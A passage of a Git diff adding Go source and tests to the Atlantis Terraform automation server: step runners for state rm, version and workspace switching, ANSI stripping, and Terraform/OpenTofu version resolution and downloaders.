ctx.TerraformVersion != nil { + tfVersion = ctx.TerraformVersion + } + + stateRmCmd := []string{"state", "rm"} + stateRmCmd = append(stateRmCmd, extraArgs...) + stateRmCmd = append(stateRmCmd, ctx.EscapedCommentArgs...) + out, err := p.terraformExecutor.RunCommandWithVersion(ctx, filepath.Clean(path), stateRmCmd, envs, tfDistribution, tfVersion, ctx.Workspace) + + // If the state rm was successful and a plan file exists, delete the plan. + planPath := filepath.Join(path, GetPlanFilename(ctx.Workspace, ctx.ProjectName)) + if err == nil { + if _, planPathErr := os.Stat(planPath); !os.IsNotExist(planPathErr) { + ctx.Log.Info("state rm successful, deleting planfile") + if removeErr := utils.RemoveIgnoreNonExistent(planPath); removeErr != nil { + ctx.Log.Warn("failed to delete planfile after successful state rm: %s", removeErr) + } + } + } + return out, err +} diff --git a/server/core/runtime/state_rm_step_runner_test.go b/server/core/runtime/state_rm_step_runner_test.go new file mode 100644 index 0000000000..194879f2bd --- /dev/null +++ b/server/core/runtime/state_rm_step_runner_test.go @@ -0,0 +1,130 @@ +package runtime + +import ( + "fmt" + "os" + "path/filepath" + "testing" + + "github.com/hashicorp/go-version" + . "github.com/petergtz/pegomock/v4" + tf "github.com/runatlantis/atlantis/server/core/terraform" + "github.com/runatlantis/atlantis/server/core/terraform/mocks" + tfclientmocks "github.com/runatlantis/atlantis/server/core/terraform/tfclient/mocks" + "github.com/runatlantis/atlantis/server/events/command" + "github.com/runatlantis/atlantis/server/logging" + . "github.com/runatlantis/atlantis/testing" +) + +func TestStateRmStepRunner_Run_Success(t *testing.T) { + logger := logging.NewNoopLogger(t) + workspace := "default" + tmpDir := t.TempDir() + planPath := filepath.Join(tmpDir, fmt.Sprintf("%s.tfplan", workspace)) + err := os.WriteFile(planPath, nil, 0600) + Ok(t, err) + + context := command.ProjectContext{ + Log: logger, + EscapedCommentArgs: []string{"-lock=false", "addr1", "addr2", "addr3"}, + Workspace: workspace, + } + + RegisterMockTestingT(t) + terraform := tfclientmocks.NewMockClient() + tfVersion, _ := version.NewVersion("0.15.0") + mockDownloader := mocks.NewMockDownloader() + tfDistribution := tf.NewDistributionTerraformWithDownloader(mockDownloader) + s := NewStateRmStepRunner(terraform, tfDistribution, tfVersion) + + When(terraform.RunCommandWithVersion(Any[command.ProjectContext](), Any[string](), Any[[]string](), Any[map[string]string](), Any[tf.Distribution](), Any[*version.Version](), Any[string]())). + ThenReturn("output", nil) + output, err := s.Run(context, []string{}, tmpDir, map[string]string(nil)) + Ok(t, err) + Equals(t, "output", output) + commands := []string{"state", "rm", "-lock=false", "addr1", "addr2", "addr3"} + terraform.VerifyWasCalledOnce().RunCommandWithVersion(context, tmpDir, commands, map[string]string(nil), tfDistribution, tfVersion, "default") + _, err = os.Stat(planPath) + Assert(t, os.IsNotExist(err), "planfile should be deleted") +} + +func TestStateRmStepRunner_Run_Workspace(t *testing.T) { + logger := logging.NewNoopLogger(t) + workspace := "something" + tmpDir := t.TempDir() + planPath := filepath.Join(tmpDir, fmt.Sprintf("%s.tfplan", workspace)) + err := os.WriteFile(planPath, nil, 0600) + Ok(t, err) + + context := command.ProjectContext{ + Log: logger, + EscapedCommentArgs: []string{"-lock=false", "addr1", "addr2", "addr3"}, + Workspace: workspace, + } + + RegisterMockTestingT(t) + terraform := tfclientmocks.NewMockClient() + tfVersion, _ := version.NewVersion("0.15.0") + mockDownloader := mocks.NewMockDownloader() + tfDistribution := tf.NewDistributionTerraformWithDownloader(mockDownloader) + s := NewStateRmStepRunner(terraform, tfDistribution, tfVersion) + + When(terraform.RunCommandWithVersion(Any[command.ProjectContext](), Any[string](), Any[[]string](), Any[map[string]string](), Any[tf.Distribution](), Any[*version.Version](), Any[string]())). + ThenReturn("output", nil) + output, err := s.Run(context, []string{}, tmpDir, map[string]string(nil)) + Ok(t, err) + Equals(t, "output", output) + + // switch workspace + terraform.VerifyWasCalledOnce().RunCommandWithVersion(context, tmpDir, []string{"workspace", "show"}, map[string]string(nil), tfDistribution, tfVersion, workspace) + terraform.VerifyWasCalledOnce().RunCommandWithVersion(context, tmpDir, []string{"workspace", "select", workspace}, map[string]string(nil), tfDistribution, tfVersion, workspace) + + // exec state rm + commands := []string{"state", "rm", "-lock=false", "addr1", "addr2", "addr3"} + terraform.VerifyWasCalledOnce().RunCommandWithVersion(context, tmpDir, commands, map[string]string(nil), tfDistribution, tfVersion, workspace) + + _, err = os.Stat(planPath) + Assert(t, os.IsNotExist(err), "planfile should be deleted") +} + +func TestStateRmStepRunner_Run_UsesConfiguredDistribution(t *testing.T) { + logger := logging.NewNoopLogger(t) + workspace := "something" + tmpDir := t.TempDir() + planPath := filepath.Join(tmpDir, fmt.Sprintf("%s.tfplan", workspace)) + err := os.WriteFile(planPath, nil, 0600) + Ok(t, err) + + projTFDistribution := "opentofu" + + context := command.ProjectContext{ + Log: logger, + EscapedCommentArgs: []string{"-lock=false", "addr1", "addr2", "addr3"}, + Workspace: workspace, + TerraformDistribution: &projTFDistribution, + } + + RegisterMockTestingT(t) + terraform := tfclientmocks.NewMockClient() + tfVersion, _ := version.NewVersion("0.15.0") + mockDownloader := mocks.NewMockDownloader() + tfDistribution := tf.NewDistributionTerraformWithDownloader(mockDownloader) + s := NewStateRmStepRunner(terraform, tfDistribution, tfVersion) + + When(terraform.RunCommandWithVersion(Any[command.ProjectContext](), Any[string](), Any[[]string](), Any[map[string]string](), Any[tf.Distribution](), Any[*version.Version](), Any[string]())). + ThenReturn("output", nil) + output, err := s.Run(context, []string{}, tmpDir, map[string]string(nil)) + Ok(t, err) + Equals(t, "output", output) + + // switch workspace + terraform.VerifyWasCalledOnce().RunCommandWithVersion(Eq(context), Eq(tmpDir), Eq([]string{"workspace", "show"}), Eq(map[string]string(nil)), NotEq(tfDistribution), Eq(tfVersion), Eq(workspace)) + terraform.VerifyWasCalledOnce().RunCommandWithVersion(Eq(context), Eq(tmpDir), Eq([]string{"workspace", "select", workspace}), Eq(map[string]string(nil)), NotEq(tfDistribution), Eq(tfVersion), Eq(workspace)) + + // exec state rm + commands := []string{"state", "rm", "-lock=false", "addr1", "addr2", "addr3"} + terraform.VerifyWasCalledOnce().RunCommandWithVersion(Eq(context), Eq(tmpDir), Eq(commands), Eq(map[string]string(nil)), NotEq(tfDistribution), Eq(tfVersion), Eq(workspace)) + + _, err = os.Stat(planPath) + Assert(t, os.IsNotExist(err), "planfile should be deleted") +} diff --git a/server/core/runtime/version_step_runner.go b/server/core/runtime/version_step_runner.go new file mode 100644 index 0000000000..db1f525743 --- /dev/null +++ b/server/core/runtime/version_step_runner.go @@ -0,0 +1,31 @@ +package runtime + +import ( + "path/filepath" + + "github.com/hashicorp/go-version" + "github.com/runatlantis/atlantis/server/core/terraform" + "github.com/runatlantis/atlantis/server/events/command" +) + +// VersionStepRunner runs a version command given a ctx +type VersionStepRunner struct { + TerraformExecutor TerraformExec + DefaultTFDistribution terraform.Distribution + DefaultTFVersion *version.Version +} + +// Run ensures a given version for the executable, builds the args from the project context and then runs executable returning the result +func (v *VersionStepRunner) Run(ctx command.ProjectContext, _ []string, path string, envs map[string]string) (string, error) { + tfDistribution := v.DefaultTFDistribution + tfVersion := v.DefaultTFVersion + if ctx.TerraformDistribution != nil { + tfDistribution = terraform.NewDistribution(*ctx.TerraformDistribution) + } + if ctx.TerraformVersion != nil { + tfVersion = ctx.TerraformVersion + } + + versionCmd := []string{"version"} + return v.TerraformExecutor.RunCommandWithVersion(ctx, filepath.Clean(path), versionCmd, envs, tfDistribution, tfVersion, ctx.Workspace) +} diff --git a/server/core/runtime/version_step_runner_test.go b/server/core/runtime/version_step_runner_test.go new file mode 100644 index 0000000000..45bf890fab --- /dev/null +++ b/server/core/runtime/version_step_runner_test.go @@ -0,0 +1,96 @@ +package runtime + +import ( + "testing" + + "github.com/hashicorp/go-version" + . "github.com/petergtz/pegomock/v4" + tf "github.com/runatlantis/atlantis/server/core/terraform" + "github.com/runatlantis/atlantis/server/core/terraform/mocks" + tfclientmocks "github.com/runatlantis/atlantis/server/core/terraform/tfclient/mocks" + "github.com/runatlantis/atlantis/server/events/command" + "github.com/runatlantis/atlantis/server/events/models" + "github.com/runatlantis/atlantis/server/logging" + . "github.com/runatlantis/atlantis/testing" +) + +func TestRunVersionStep(t *testing.T) { + RegisterMockTestingT(t) + logger := logging.NewNoopLogger(t) + workspace := "default" + + context := command.ProjectContext{ + Log: logger, + EscapedCommentArgs: []string{"comment", "args"}, + Workspace: workspace, + RepoRelDir: ".", + User: models.User{Username: "username"}, + Pull: models.PullRequest{ + Num: 2, + }, + BaseRepo: models.Repo{ + FullName: "owner/repo", + Owner: "owner", + Name: "repo", + }, + } + + terraform := tfclientmocks.NewMockClient() + mockDownloader := mocks.NewMockDownloader() + tfDistribution := tf.NewDistributionTerraformWithDownloader(mockDownloader) + tfVersion, _ := version.NewVersion("0.15.0") + tmpDir := t.TempDir() + + s := &VersionStepRunner{ + TerraformExecutor: terraform, + DefaultTFDistribution: tfDistribution, + DefaultTFVersion: tfVersion, + } + + t.Run("ensure runs", func(t *testing.T) { + _, err := s.Run(context, []string{}, tmpDir, map[string]string(nil)) + terraform.VerifyWasCalledOnce().RunCommandWithVersion(context, tmpDir, []string{"version"}, map[string]string(nil), tfDistribution, tfVersion, "default") + Ok(t, err) + }) +} + +func TestVersionStepRunner_Run_UsesConfiguredDistribution(t *testing.T) { + RegisterMockTestingT(t) + logger := logging.NewNoopLogger(t) + workspace := "default" + projTFDistribution := "opentofu" + context := command.ProjectContext{ + Log: logger, + EscapedCommentArgs: []string{"comment", "args"}, + Workspace: workspace, + RepoRelDir: ".", + User: models.User{Username: "username"}, + Pull: models.PullRequest{ + Num: 2, + }, + BaseRepo: models.Repo{ + FullName: "owner/repo", + Owner: "owner", + Name: "repo", + }, + TerraformDistribution: &projTFDistribution, + } + + terraform := tfclientmocks.NewMockClient() + mockDownloader := mocks.NewMockDownloader() + tfDistribution := tf.NewDistributionTerraformWithDownloader(mockDownloader) + tfVersion, _ := version.NewVersion("0.15.0") + tmpDir := t.TempDir() + + s := &VersionStepRunner{ + TerraformExecutor: terraform, + DefaultTFDistribution: tfDistribution, + DefaultTFVersion: tfVersion, + } + + t.Run("ensure runs", func(t *testing.T) { + _, err := s.Run(context, []string{}, tmpDir, map[string]string(nil)) + terraform.VerifyWasCalledOnce().RunCommandWithVersion(Eq(context), Eq(tmpDir), Eq([]string{"version"}), Eq(map[string]string(nil)), NotEq(tfDistribution), Eq(tfVersion), Eq("default")) + Ok(t, err) + }) +} diff --git a/server/core/runtime/workspace_step_runner_delegate.go b/server/core/runtime/workspace_step_runner_delegate.go new file mode 100644 index 0000000000..5628a6a351 --- /dev/null +++ b/server/core/runtime/workspace_step_runner_delegate.go @@ -0,0 +1,98 @@ +package runtime + +import ( + "fmt" + "strings" + + "github.com/hashicorp/go-version" + "github.com/runatlantis/atlantis/server/core/terraform" + "github.com/runatlantis/atlantis/server/events/command" +) + +// workspaceStepRunnerDelegate ensures that a given step runner run on switched workspace +type workspaceStepRunnerDelegate struct { + terraformExecutor TerraformExec + defaultTfDistribution terraform.Distribution + defaultTfVersion *version.Version + delegate Runner +} + +func NewWorkspaceStepRunnerDelegate(terraformExecutor TerraformExec, defaultTfDistribution terraform.Distribution, defaultTfVersion *version.Version, delegate Runner) Runner { + return &workspaceStepRunnerDelegate{ + terraformExecutor: terraformExecutor, + defaultTfDistribution: defaultTfDistribution, + defaultTfVersion: defaultTfVersion, + delegate: delegate, + } +} + +func (r *workspaceStepRunnerDelegate) Run(ctx command.ProjectContext, extraArgs []string, path string, envs map[string]string) (string, error) { + tfDistribution := r.defaultTfDistribution + tfVersion := r.defaultTfVersion + if ctx.TerraformDistribution != nil { + tfDistribution = terraform.NewDistribution(*ctx.TerraformDistribution) + } + if ctx.TerraformVersion != nil { + tfVersion = ctx.TerraformVersion + } + + // We only need to switch workspaces in version 0.9.*. In older versions, + // there is no such thing as a workspace so we don't need to do anything. + if err := r.switchWorkspace(ctx, path, tfDistribution, tfVersion, envs); err != nil { + return "", err + } + + return r.delegate.Run(ctx, extraArgs, path, envs) +} + +// switchWorkspace changes the terraform workspace if necessary and will create +// it if it doesn't exist. It handles differences between versions. +func (r *workspaceStepRunnerDelegate) switchWorkspace(ctx command.ProjectContext, path string, tfDistribution terraform.Distribution, tfVersion *version.Version, envs map[string]string) error { + // In versions less than 0.9 there is no support for workspaces. + noWorkspaceSupport := MustConstraint("<0.9").Check(tfVersion) + // If the user tried to set a specific workspace in the comment but their + // version of TF doesn't support workspaces then error out. + if noWorkspaceSupport && ctx.Workspace != defaultWorkspace { + return fmt.Errorf("terraform version %s does not support workspaces", tfVersion) + } + if noWorkspaceSupport { + return nil + } + + // In version 0.9.* the workspace command was called env. + workspaceCmd := "workspace" + runningZeroPointNine := MustConstraint(">=0.9,<0.10").Check(tfVersion) + if runningZeroPointNine { + workspaceCmd = "env" + } + + // Use `workspace show` to find out what workspace we're in now. If we're + // already in the right workspace then no need to switch. This will save us + // about ten seconds. This command is only available in > 0.10. + if !runningZeroPointNine { + workspaceShowOutput, err := r.terraformExecutor.RunCommandWithVersion(ctx, path, []string{workspaceCmd, "show"}, envs, tfDistribution, tfVersion, ctx.Workspace) + if err != nil { + return err + } + // If `show` says we're already on this workspace then we're done. + if strings.TrimSpace(workspaceShowOutput) == ctx.Workspace { + return nil + } + } + + // Finally we'll have to select the workspace. We need to figure out if this + // workspace exists so we can create it if it doesn't. + // To do this we can either select and catch the error or use list and then + // look for the workspace. Both commands take the same amount of time so + // that's why we're running select here. + _, err := r.terraformExecutor.RunCommandWithVersion(ctx, path, []string{workspaceCmd, "select", ctx.Workspace}, envs, tfDistribution, tfVersion, ctx.Workspace) + if err != nil { + // If terraform workspace select fails we run terraform workspace + // new to create a new workspace automatically. + out, err := r.terraformExecutor.RunCommandWithVersion(ctx, path, []string{workspaceCmd, "new", ctx.Workspace}, envs, tfDistribution, tfVersion, ctx.Workspace) + if err != nil { + return fmt.Errorf("%s: %s", err, out) + } + } + return nil +} diff --git a/server/core/runtime/workspace_step_runner_delegate_test.go b/server/core/runtime/workspace_step_runner_delegate_test.go new file mode 100644 index 0000000000..e705e93b00 --- /dev/null +++ b/server/core/runtime/workspace_step_runner_delegate_test.go @@ -0,0 +1,290 @@ +package runtime + +import ( + "errors" + "testing" + + "github.com/hashicorp/go-version" + . "github.com/petergtz/pegomock/v4" + tf "github.com/runatlantis/atlantis/server/core/terraform" + "github.com/runatlantis/atlantis/server/core/terraform/mocks" + tfclientmocks "github.com/runatlantis/atlantis/server/core/terraform/tfclient/mocks" + "github.com/runatlantis/atlantis/server/events/command" + "github.com/runatlantis/atlantis/server/events/models" + "github.com/runatlantis/atlantis/server/logging" + . "github.com/runatlantis/atlantis/testing" +) + +func TestRun_NoWorkspaceIn08(t *testing.T) { + // We don't want any workspace commands to be run in 0.8. + RegisterMockTestingT(t) + terraform := tfclientmocks.NewMockClient() + mockDownloader := mocks.NewMockDownloader() + tfDistribution := tf.NewDistributionTerraformWithDownloader(mockDownloader) + tfVersion, _ := version.NewVersion("0.8") + workspace := "default" + logger := logging.NewNoopLogger(t) + ctx := command.ProjectContext{ + Log: logger, + Workspace: workspace, + } + s := NewWorkspaceStepRunnerDelegate(terraform, tfDistribution, tfVersion, &NullRunner{}) + + _, err := s.Run(ctx, []string{"extra", "args"}, "/path", map[string]string(nil)) + Ok(t, err) + + // Verify that no env or workspace commands were run + terraform.VerifyWasCalled(Never()).RunCommandWithVersion(ctx, + "/path", + []string{"env", + "select", + "workspace"}, + map[string]string(nil), + tfDistribution, + tfVersion, + workspace) + terraform.VerifyWasCalled(Never()).RunCommandWithVersion(ctx, + "/path", + []string{"workspace", + "select", + "workspace"}, + map[string]string(nil), + tfDistribution, + tfVersion, + workspace) +} + +func TestRun_ErrWorkspaceIn08(t *testing.T) { + // If they attempt to use a workspace other than default in 0.8 + // we should error. + RegisterMockTestingT(t) + terraform := tfclientmocks.NewMockClient() + mockDownloader := mocks.NewMockDownloader() + tfDistribution := tf.NewDistributionTerraformWithDownloader(mockDownloader) + tfVersion, _ := version.NewVersion("0.8") + logger := logging.NewNoopLogger(t) + workspace := "notdefault" + s := NewWorkspaceStepRunnerDelegate(terraform, tfDistribution, tfVersion, &NullRunner{}) + + _, err := s.Run(command.ProjectContext{ + Log: logger, + Workspace: workspace, + }, []string{"extra", "args"}, "/path", map[string]string(nil)) + ErrEquals(t, "terraform version 0.8.0 does not support workspaces", err) +} + +func TestRun_SwitchesWorkspace(t *testing.T) { + RegisterMockTestingT(t) + mockDownloader := mocks.NewMockDownloader() + tfDistribution := tf.NewDistributionTerraformWithDownloader(mockDownloader) + + cases := []struct { + tfVersion string + expWorkspaceCmd string + }{ + { + "0.9.0", + "env", + }, + { + "0.9.11", + "env", + }, + { + "0.10.0", + "workspace", + }, + { + "0.11.0", + "workspace", + }, + } + + for _, c := range cases { + t.Run(c.tfVersion, func(t *testing.T) { + terraform := tfclientmocks.NewMockClient() + tfVersion, _ := version.NewVersion(c.tfVersion) + logger := logging.NewNoopLogger(t) + ctx := command.ProjectContext{ + Log: logger, + Workspace: "workspace", + } + s := NewWorkspaceStepRunnerDelegate(terraform, tfDistribution, tfVersion, &NullRunner{}) + + _, err := s.Run(ctx, []string{"extra", "args"}, "/path", map[string]string(nil)) + Ok(t, err) + + // Verify that env select was called as well as plan. + terraform.VerifyWasCalledOnce().RunCommandWithVersion(ctx, + "/path", + []string{c.expWorkspaceCmd, + "select", + "workspace"}, + map[string]string(nil), + tfDistribution, + tfVersion, + "workspace") + }) + } +} + +func TestRun_SwitchesWorkspaceDistribution(t *testing.T) { + RegisterMockTestingT(t) + mockDownloader := mocks.NewMockDownloader() + tfDistribution := tf.NewDistributionTerraformWithDownloader(mockDownloader) + + cases := []struct { + tfVersion string + tfDistribution string + expWorkspaceCmd string + }{ + { + "0.9.0", + "opentofu", + "env", + }, + { + "0.9.11", + "terraform", + "env", + }, + { + "0.10.0", + "terraform", + "workspace", + }, + { + "0.11.0", + "opentofu", + "workspace", + }, + } + + for _, c := range cases { + t.Run(c.tfVersion, func(t *testing.T) { + terraform := tfclientmocks.NewMockClient() + tfVersion, _ := version.NewVersion(c.tfVersion) + logger := logging.NewNoopLogger(t) + ctx := command.ProjectContext{ + Log: logger, + Workspace: "workspace", + TerraformDistribution: &c.tfDistribution, + } + s := NewWorkspaceStepRunnerDelegate(terraform, tfDistribution, tfVersion, &NullRunner{}) + + _, err := s.Run(ctx, []string{"extra", "args"}, "/path", map[string]string(nil)) + Ok(t, err) + + // Verify that env select was called as well as plan. + terraform.VerifyWasCalledOnce().RunCommandWithVersion(Eq(ctx), + Eq("/path"), + Eq([]string{c.expWorkspaceCmd, + "select", + "workspace"}), + Eq(map[string]string(nil)), + NotEq(tfDistribution), + Eq(tfVersion), + Eq("workspace")) + }) + } +} + +func TestRun_CreatesWorkspace(t *testing.T) { + // Test that if `workspace select` fails, we call `workspace new`. + RegisterMockTestingT(t) + + cases := []struct { + tfVersion string + expWorkspaceCommand string + }{ + { + "0.9.0", + "env", + }, + { + "0.9.11", + "env", + }, + { + "0.10.0", + "workspace", + }, + { + "0.11.0", + "workspace", + }, + } + + for _, c := range cases { + t.Run(c.tfVersion, func(t *testing.T) { + terraform := tfclientmocks.NewMockClient() + mockDownloader := mocks.NewMockDownloader() + tfDistribution := tf.NewDistributionTerraformWithDownloader(mockDownloader) + tfVersion, _ := version.NewVersion(c.tfVersion) + logger := logging.NewNoopLogger(t) + ctx := command.ProjectContext{ + Log: logger, + Workspace: "workspace", + RepoRelDir: ".", + User: models.User{Username: "username"}, + EscapedCommentArgs: []string{"comment", "args"}, + Pull: models.PullRequest{ + Num: 2, + }, + BaseRepo: models.Repo{ + FullName: "owner/repo", + Owner: "owner", + Name: "repo", + }, + } + s := NewWorkspaceStepRunnerDelegate(terraform, tfDistribution, tfVersion, &NullRunner{}) + + // Ensure that we actually try to switch workspaces by making the + // output of `workspace show` to be a different name. + When(terraform.RunCommandWithVersion(ctx, "/path", []string{"workspace", "show"}, map[string]string(nil), tfDistribution, tfVersion, "workspace")).ThenReturn("diffworkspace\n", nil) + + expWorkspaceArgs := []string{c.expWorkspaceCommand, "select", "workspace"} + When(terraform.RunCommandWithVersion(ctx, "/path", expWorkspaceArgs, map[string]string(nil), tfDistribution, tfVersion, "workspace")).ThenReturn("", errors.New("workspace does not exist")) + + _, err := s.Run(ctx, []string{"extra", "args"}, "/path", map[string]string(nil)) + Ok(t, err) + + // Verify that env select was called as well as plan. + terraform.VerifyWasCalledOnce().RunCommandWithVersion(ctx, "/path", expWorkspaceArgs, map[string]string(nil), tfDistribution, tfVersion, "workspace") + }) + } +} + +func TestRun_NoWorkspaceSwitchIfNotNecessary(t *testing.T) { + // Tests that if workspace show says we're on the right workspace we don't + // switch. + RegisterMockTestingT(t) + terraform := tfclientmocks.NewMockClient() + mockDownloader := mocks.NewMockDownloader() + tfDistribution := tf.NewDistributionTerraformWithDownloader(mockDownloader) + tfVersion, _ := version.NewVersion("0.10.0") + logger := logging.NewNoopLogger(t) + ctx := command.ProjectContext{ + Log: logger, + Workspace: "workspace", + RepoRelDir: ".", + User: models.User{Username: "username"}, + EscapedCommentArgs: []string{"comment", "args"}, + Pull: models.PullRequest{ + Num: 2, + }, + BaseRepo: models.Repo{ + FullName: "owner/repo", + Owner: "owner", + Name: "repo", + }, + } + s := NewWorkspaceStepRunnerDelegate(terraform, tfDistribution, tfVersion, &NullRunner{}) + When(terraform.RunCommandWithVersion(ctx, "/path", []string{"workspace", "show"}, map[string]string(nil), tfDistribution, tfVersion, "workspace")).ThenReturn("workspace\n", nil) + + _, err := s.Run(ctx, []string{"extra", "args"}, "/path", map[string]string(nil)) + Ok(t, err) + + // Verify that workspace select was never called. + terraform.VerifyWasCalled(Never()).RunCommandWithVersion(ctx, "/path", []string{"workspace", "select", "workspace"}, map[string]string(nil), tfDistribution, tfVersion, "workspace") +} diff --git a/server/core/terraform/ansi/strip.go b/server/core/terraform/ansi/strip.go new file mode 100644 index 0000000000..fa8265de2b --- /dev/null +++ b/server/core/terraform/ansi/strip.go @@ -0,0 +1,13 @@ +package ansi + +import ( + "regexp" +) + +const ansi = "[\u001B\u009B][[\\]()#;?]*(?:(?:(?:[a-zA-Z\\d]*(?:;[a-zA-Z\\d]*)*)?\u0007)|(?:(?:\\d{1,4}(?:;\\d{0,4})*)?[\\dA-PRZcf-ntqry=><~]))" + +var re = regexp.MustCompile(ansi) + +func Strip(str string) string { + return re.ReplaceAllString(str, "") +} diff --git a/server/core/terraform/ansi/strip_test.go b/server/core/terraform/ansi/strip_test.go new file mode 100644 index 0000000000..51c7233467 --- /dev/null +++ b/server/core/terraform/ansi/strip_test.go @@ -0,0 +1,30 @@ +package ansi + +import "testing" + +func TestStrip(t *testing.T) { + tests := []struct { + name string + str string + want string + }{ + { + name: "strip ansi", + str: ` ++ create +Plan: 3 to add, 0 to change, 0 to destroy. +`, + want: ` ++ create +Plan: 3 to add, 0 to change, 0 to destroy. +`, + }, + } + for _, tt := range tests { + t.Run(tt.name, func(t *testing.T) { + if got := Strip(tt.str); got != tt.want { + t.Errorf("Strip() = %v, want %v", got, tt.want) + } + }) + } +} diff --git a/server/core/terraform/distribution.go b/server/core/terraform/distribution.go new file mode 100644 index 0000000000..dbeaf6a46b --- /dev/null +++ b/server/core/terraform/distribution.go @@ -0,0 +1,141 @@ +package terraform + +import ( + "context" + "fmt" + "sort" + + "github.com/hashicorp/go-version" + "github.com/hashicorp/hc-install/product" + "github.com/hashicorp/hc-install/releases" + "github.com/opentofu/tofudl" +) + +type Distribution interface { + BinName() string + Downloader() Downloader + // ResolveConstraint gets the latest version for the given constraint + ResolveConstraint(context.Context, string) (*version.Version, error) +} + +func NewDistribution(distribution string) Distribution { + tfDistribution := NewDistributionTerraform() + if distribution == "opentofu" { + tfDistribution = NewDistributionOpenTofu() + } + return tfDistribution +} + +type DistributionOpenTofu struct { + downloader Downloader +} + +func NewDistributionOpenTofu() Distribution { + return &DistributionOpenTofu{ + downloader: &TofuDownloader{}, + } +} + +func NewDistributionOpenTofuWithDownloader(downloader Downloader) Distribution { + return &DistributionOpenTofu{ + downloader: downloader, + } +} + +func (*DistributionOpenTofu) BinName() string { + return "tofu" +} + +func (d *DistributionOpenTofu) Downloader() Downloader { + return d.downloader +} + +func (*DistributionOpenTofu) ResolveConstraint(ctx context.Context, constraintStr string) (*version.Version, error) { + dl, err := tofudl.New() + if err != nil { + return nil, err + } + + vc, err := version.NewConstraint(constraintStr) + if err != nil { + return nil, fmt.Errorf("error parsing constraint string: %s", err) + } + + allVersions, err := dl.ListVersions(ctx) + if err != nil { + return nil, fmt.Errorf("error listing OpenTofu versions: %s", err) + } + + var versions []*version.Version + for _, ver := range allVersions { + v, err := version.NewVersion(string(ver.ID)) + if err != nil { + return nil, err + } + + if vc.Check(v) { + versions = append(versions, v) + } + } + sort.Sort(version.Collection(versions)) + + if len(versions) == 0 { + return nil, fmt.Errorf("no OpenTofu versions found for constraints %s", constraintStr) + } + + // We want to select the highest version that satisfies the constraint. + version := versions[len(versions)-1] + + // Get the Version object from the versionDownloader. + return version, nil +} + +type DistributionTerraform struct { + downloader Downloader +} + +func NewDistributionTerraform() Distribution { + return &DistributionTerraform{ + downloader: &TerraformDownloader{}, + } +} + +func NewDistributionTerraformWithDownloader(downloader Downloader) Distribution { + return &DistributionTerraform{ + downloader: downloader, + } +} + +func (*DistributionTerraform) BinName() string { + return "terraform" +} + +func (d *DistributionTerraform) Downloader() Downloader { + return d.downloader +} + +func (*DistributionTerraform) ResolveConstraint(ctx context.Context, constraintStr string) (*version.Version, error) { + vc, err := version.NewConstraint(constraintStr) + if err != nil { + return nil, fmt.Errorf("error parsing constraint string: %s", err) + } + + constrainedVersions := &releases.Versions{ + Product: product.Terraform, + Constraints: vc, + } + + installCandidates, err := constrainedVersions.List(ctx) + if err != nil { + return nil, fmt.Errorf("error listing available versions: %s", err) + } + if len(installCandidates) == 0 { + return nil, fmt.Errorf("no Terraform versions found for constraints %s", constraintStr) + } + + // We want to select the highest version that satisfies the constraint. + versionDownloader := installCandidates[len(installCandidates)-1] + + // Get the Version object from the versionDownloader. + return versionDownloader.(*releases.ExactVersion).Version, nil +} diff --git a/server/core/terraform/distribution_test.go b/server/core/terraform/distribution_test.go new file mode 100644 index 0000000000..dbd9433834 --- /dev/null +++ b/server/core/terraform/distribution_test.go @@ -0,0 +1,33 @@ +package terraform_test + +import ( + "context" + "testing" + + "github.com/runatlantis/atlantis/server/core/terraform" + . "github.com/runatlantis/atlantis/testing" +) + +func TestOpenTofuBinName(t *testing.T) { + d := terraform.NewDistributionOpenTofu() + Equals(t, d.BinName(), "tofu") +} + +func TestResolveOpenTofuVersions(t *testing.T) { + d := terraform.NewDistributionOpenTofu() + version, err := d.ResolveConstraint(context.Background(), "= 1.8.0") + Ok(t, err) + Equals(t, version.String(), "1.8.0") +} + +func TestTerraformBinName(t *testing.T) { + d := terraform.NewDistributionTerraform() + Equals(t, d.BinName(), "terraform") +} + +func TestResolveTerraformVersions(t *testing.T) { + d := terraform.NewDistributionTerraform() + version, err := d.ResolveConstraint(context.Background(), "= 1.9.3") + Ok(t, err) + Equals(t, version.String(), "1.9.3") +} diff --git a/server/core/terraform/downloader.go b/server/core/terraform/downloader.go new file mode 100644 index 0000000000..36cc4e1071 --- /dev/null +++ b/server/core/terraform/downloader.go @@ -0,0 +1,70 @@ +package terraform + +import ( + "context" + "os" + "path/filepath" + + "github.com/hashicorp/go-version" + install "github.com/hashicorp/hc-install" + "github.com/hashicorp/hc-install/product" + "github.com/hashicorp/hc-install/releases" + "github.com/hashicorp/hc-install/src" + "github.com/opentofu/tofudl" +) + +//go:generate pegomock generate --package mocks -o mocks/mock_downloader.go Downloader + +// Downloader is for downloading terraform versions. +type Downloader interface { + Install(ctx context.Context, dir string, downloadURL string, v *version.Version) (string, error) +} + +type TofuDownloader struct{} + +func (d *TofuDownloader) Install(ctx context.Context, dir string, _downloadURL string, v *version.Version) (string, error) { + // Initialize the downloader: + dl, err := tofudl.New() + if err != nil { + return "", err + } + + binary, err := dl.Download(ctx, tofudl.DownloadOptVersion(tofudl.Version(v.String()))) + if err != nil { + return "", err + } + + // Write out the tofu binary to the disk: + file := filepath.Join(dir, "tofu"+v.String()) + if err := os.WriteFile(file, binary, 0755); /* #nosec G306 */ err != nil { + return "", err + } + + return file, nil +} + +type TerraformDownloader struct{} + +func (d *TerraformDownloader) Install(ctx context.Context, dir string, downloadURL string, v *version.Version) (string, error) { + installer := install.NewInstaller() + execPath, err := installer.Install(ctx, []src.Installable{ + &releases.ExactVersion{ + Product: product.Terraform, + Version: v, + InstallDir: dir, + ApiBaseURL: downloadURL, + }, + }) + if err != nil { + return "", err + } + + // hc-install installs terraform binary as just "terraform". + // We need to rename it to terraform{version} to be consistent with current naming convention. + newPath := filepath.Join(dir, "terraform"+v.String()) + if err := os.Rename(execPath, newPath); err != nil { + return "", err + } + + return newPath, nil +} diff --git a/server/core/terraform/downloader_test.go b/server/core/terraform/downloader_test.go new file mode 100644 index 0000000000..b6080c4a90 --- /dev/null +++ b/server/core/terraform/downloader_test.go @@ -0,0 +1,46 @@ +package terraform_test + +import ( + "context" + "os" + "testing" + + "github.com/hashicorp/go-version" + . "github.com/petergtz/pegomock/v4" + "github.com/runatlantis/atlantis/cmd" + "github.com/runatlantis/atlantis/server/core/terraform" +) + +func TestTerraformInstall(t *testing.T) { + d := &terraform.TerraformDownloader{} + RegisterMockTestingT(t) + binDir := t.TempDir() + + v, _ := version.NewVersion("1.8.1") + + newPath, err := d.Install(context.Background(), binDir, cmd.DefaultTFDownloadURL, 